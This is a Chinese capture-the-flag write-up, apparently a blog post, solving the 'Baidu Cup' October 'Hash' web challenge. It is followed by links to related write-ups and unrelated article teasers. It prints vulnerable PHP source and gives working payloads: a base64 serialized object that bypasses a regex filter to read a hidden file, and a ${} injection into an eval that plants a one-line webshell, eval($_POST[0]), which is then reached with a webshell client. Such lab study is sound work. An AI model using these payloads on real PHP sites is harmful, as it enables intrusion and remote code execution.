进入题后老套路得到两个关键:

1.$hash=md5($sign.$key);the length of $sign is 8

2.key=123&hash=f9109d5f83921a551cf859f853afe7bb

然后md5解密那个hash=kkkkkk01123

根据源码说的$sign位数为8位,后改一下key 然后md5后得到提示Gu3ss_m3_h2h2.php这个文件

<?php
class Demo {

    private $file = 'Gu3ss_m3_h2h2.php';

public function __construct($file) {

        $this->file = $file;

    }

function __destruct() {

        echo @highlight_file($this->file, true);

    }

function __wakeup() {

        if ($this->file != 'Gu3ss_m3_h2h2.php') {

            //the secret is in the f15g_1s_here.php

            $this->file = 'Gu3ss_m3_h2h2.php';

        }

    }

}

if (isset($_GET['var'])) {

    $var = base64_decode($_GET['var']);

    if (preg_match('/[oc]:\d+:/i', $var)) {

        die('stop hacking!');

    } else {

@unserialize($var);

    }

} else {

    highlight_file("Gu3ss_m3_h2h2.php");

}

?>

拿到源码了,审计代码

首先得到一个参数var 然后进行正则匹配

说下这个正则 /[oc]:\d+:/i  [oc]  两个字母构成的原子表加:再加只是一个数字,再加: 然后不区分大小写

这个O 是序列化里面的类 C是自定义序列化方式

如果这个正则的绕过是O:+4 这样就可以绕过

然后写payload:

TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==  出来拿去用

<?php
if (isset($_GET['val'])) {

    $val = $_GET['val'];

    eval('$value="' . addslashes($val) . '";');

} else {

    die('hahaha!');

}

?>

继续审计,看到这个熟悉的php复制变量${phpinfo()}  像这样的他会先执行里面 的方法

直接构造payload:eval($_POST[0])    这里一句话的密码 不能用引号 应该是那个addsalashes的原因

然后就菜刀连上去就看到flag了

“百度杯”CTF比赛 十月场 Hash 复现的更多相关文章

  1. [i春秋]“百度杯”CTF比赛 十月场-Hash

    前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...

  2. "百度杯"CTF比赛 十月场——EXEC

    "百度杯"CTF比赛 十月场--EXEC 进入网站页面 查看源码 发现了vim,可能是vim泄露,于是在url地址输入了http://21b854b211034489a4ee1cb ...

  3. [原题复现]百度杯CTF比赛 十月场 WEB EXEC(PHP弱类型)

    简介  原题复现:  考察知识点:PHP弱类型.  线上平台:https://www.ichunqiu.com/battalion(i春秋 CTF平台) 过程 看源码发现这个 vim泄露  下方都试了 ...

  4. “百度杯”CTF比赛 十月场_GetFlag(验证码爆破+注入+绝对路径文件下载)

    题目在i春秋ctf大本营 页面给出了验证码经过md5加密后前6位的值,依照之前做题的套路,首先肯定是要爆破出验证码,这里直接给我写的爆破代码 #coding:utf-8 import hashlib ...

  5. “百度杯”CTF比赛 十月场_Login

    题目在i春秋ctf大本营 打开页面是两个登录框,首先判断是不是注入 尝试了各种语句后,发现登录界面似乎并不存在注入 查看网页源代码,给出了一个账号 用帐密登陆后,跳转到到member.php网页,网页 ...

  6. i春秋-“百度杯”CTF比赛 十月场-Login

    源码发下提示 尝试登陆 得到个什么鬼, 但是相应包里发现个可疑的东西   //  CTF中的0 和1 这些一般都有套路的 然后在请求头里 改为 1 ##代码审计来了..   分析了半天 后来看了别人的 ...

  7. “百度杯”CTF比赛 十月场EXEC

    前面比较常规吧看源代码-看到vim 然后就是 .index.php.swp 然后就是 这个文件的恢复,用linux下vim -r index.php.swp  就可以看到不是乱码的文件了 然后就是审核 ...

  8. i春秋 百度杯”CTF比赛 十月场 login

    出现敏感的信息,然后进行登录 登录成功发现奇怪的show 然后把show放到发包里面试一下 出现了源码,审计代码开始 出flag的条件要user 等于春秋 然后进行login来源于反序列化后的logi ...

  9. i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

    0x00: 打开题目,题目中告诉我们这题是文件泄露. 0x01: 通过扫描目录,发现可以扫到的有3个文件 index.php flag.php robots.txt 但是浏览flag.php它告诉我们 ...

随机推荐

  1. 机器学习 ML.NET 发布 1.0 RC

    ML.NET 是面向.NET开发人员的开源和跨平台机器学习框架(Windows,Linux,macOS),通过使用ML.NET,.NET开发人员可以利用他们现有的工具和技能组,为情感分析,推荐,图像分 ...

  2. ASP.NET的版本?

    问题源于这么一本书: <ASP.NET 4 解密(卷1)>,这本书大约是六七年前买的了,根据其名字,它讲述的是ASP.NET 4,那么ASP.NET现在究竟是什么版本?与.NET Fram ...

  3. Android 音视频开发学习思路

    Android 音视频开发这块目前的确没有比较系统的教程或者书籍,网上的博客文章也都是比较零散的.只能通过一点点的学习和积累把这块的知识串联积累起来. 初级入门篇: Android 音视频开发(一) ...

  4. 利用 vue-cli 构建一个 Vue 项目

    一.项目初始构建 现在如果要构建一个 Vue 的项目,最方便的方式,莫过于使用官方的 vue-cli . 首先,咱们先来全局安装 vue-cli ,打开命令行工具,输入以下命令: $ npm inst ...

  5. 从壹开始前后端分离【 .NET Core2.0 +Vue2.0 】框架之二 || 后端项目搭建

    前言 至于为什么要搭建.Net Core 平台,这个网上的解释以及铺天盖地,想了想,还是感觉重要的一点,跨平台,嗯!没错,而且比.Net 更容易搭建,速度也更快,所有的包均有Nuget提供,不再像以前 ...

  6. Python学习曲线

    经历长达近一个月的资源筛选过程终于结束,总共1.5T百度网盘的资源经过:去重.筛选.整理.归档之后一份粗略的Python学习曲线资源已经成型,虽然中间经历了很多坎坷,不过最终还是完成,猪哥也是第一时间 ...

  7. ASP.NET Core 使用 SignalR 遇到的 CORS 问题

    问题 将 SignalR 集成到 ASP.NET Core MVC 程序的时候,按照官方 DEMO 配置完成,但使用 DEMO 页面建立连接一直提示如下信息. Access to XMLHttpReq ...

  8. 区块链技术现状&前景

    炒作周期 Gartner 在 2017 年发布的新兴技术炒作曲线,这张图是去年 8 月发布的,当时估计它们也没料到随后能有那么火,当时区块链在这个位置,其实是已经过了炒作的巅峰期,正在往低谷走的这个阶 ...

  9. offset系列,client系列,scroll系列回顾

    一 scroll系列属性      ——滚动

  10. centos7下搜狗输入法的安装教程

    相信用过centos自带的输入法的朋友都会感叹这也实在是太难用了吧,使用拼音打出来的词总是不能在前几个匹配到,即使是一些常用词也是如此,简直无法忍受跟个zz似的.吐槽完了,这里给出centos7下搜狗 ...